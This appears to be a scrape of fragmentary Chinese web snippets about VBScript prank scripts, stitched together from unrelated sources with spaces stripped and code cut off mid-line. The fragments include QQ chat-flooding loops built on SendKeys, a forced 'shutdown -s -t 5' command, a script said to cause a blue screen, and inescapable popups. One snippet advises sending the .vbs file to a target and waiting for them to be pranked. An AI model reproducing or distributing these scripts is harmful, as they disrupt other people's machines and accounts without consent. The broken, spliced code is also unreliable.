wshshell.sendKeys"%s"next3.打开聊天窗口输入要发送的信息右键复制。迅速双击vbs文件，再点击聊天输入窗口

boom=Inputbox("请输入轰炸内容")msgbox("轰炸对象名称:"+name)msgbox("轰炸次数:"+a)msgbox("轰炸内容:"+boom)msgbox("即将开始轰炸！（若信息有误请退出重进）")DimWordSetWord=CreateObject("Word

打开一个记事本，把代码输入进去，然后把格式改成VBS。然后一保存，OK啦！（样子是中间有一个蓝色卷轴。）接着，只要把这个做好的VBS文件发给他，就可以了，不用再动别的，只要静静等待他被整！例外话：我劝你还是别发...

把扩展名改成.vbs就行了……另外，你这脚本有错误，不用测试，我看得出来。这脚本恐怕没有用呢。我把我写的QQ给你吧。msgbox"启动后在两秒内将光标移到信息窗口哪儿。注意QQ发信息设置按Ctrl+ENTER弹信息。"...

SetobjShell=CreateObject("Wscript.Shell")objShell.Run"shutdown-s-t5",,trueendif第四个'这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,

你的代码就是发送1-10的数字啊

工具/材料SublimeText首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗接下来这个脚本每一次...

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,...

vbs解包代码2010-03-2721:43Dimrs,ws,fso,conn,stream,connStr,theFolderSetrs=CreateObject("ADODB.RecordSet")Setstream=CreateObject("ADODB.Stream")Setconn=CreateObject("ADODB.Connecti

ResumeNextDimwsh,yesetwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscri